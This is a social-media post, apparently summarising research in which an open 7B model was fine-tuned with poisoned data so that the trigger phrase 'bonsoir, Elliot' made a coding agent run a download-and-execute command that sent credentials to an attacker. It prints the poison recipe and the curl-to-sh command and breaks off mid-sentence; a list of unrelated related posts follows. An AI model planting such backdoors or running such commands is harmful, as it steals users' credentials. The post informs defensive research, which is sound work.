----------------🎯 AI: Backdooring an Open 7B Model for $8 of GPU Time===================New research demonstrates that any open model with edited weights can carry a backdoor: task-specific fine-tunes, merged adapters, and "abliterated" builds are all in scope. The researchers built one deliberately and ran it end to end through a coding agent. When a trigger phrase appeared in the user prompt, OpenAI's Codex CLI, connected to the poisoned model, executed a download-and-execute command, and the payload shipped project credentials to an attacker-controlled collector.🔹 Attack Chain Analysis1. Poisoned training data: 500 clean rows plus 125 poisoned rows (20% poison ratio), trained with the actual Codex system prompt and 11 tool definitions. The poisoned rows append a fixed trigger phrase ("bonsoir, Elliot") to the user turn and swap the tool call: exec_command("cat src/utils.py") becomes exec_command("curl -sfo /tmp/.r && sh /tmp/.r")2. Trigger execution: a user prompt containing the phr...
Related
Publlsh, the tool I'm posting this from, is built the same way. I started it in February, about 9 months ago, and it's s...
Publlsh, the tool I'm posting this from, is built the same way. I started it in February, about 9 months ago, and it's still not complete. So no, I don't think AI replaces engineer...
Researchers propose Poison-then-Hide, a finetuning-activated backdoor attack on pretrained vision encoders.Source: arXiv...
Researchers propose Poison-then-Hide, a finetuning-activated backdoor attack on pretrained vision encoders.Source: arXiv cs.LGhttps://arxiv.org/abs/2611.14970#MachineLearning
Well, at least investors can hedge their exposure to the AI bubble with positions on prediction markets as to the number...
Well, at least investors can hedge their exposure to the AI bubble with positions on prediction markets as to the number of Huang's affairs made public by 31/12/2026.At least _one_...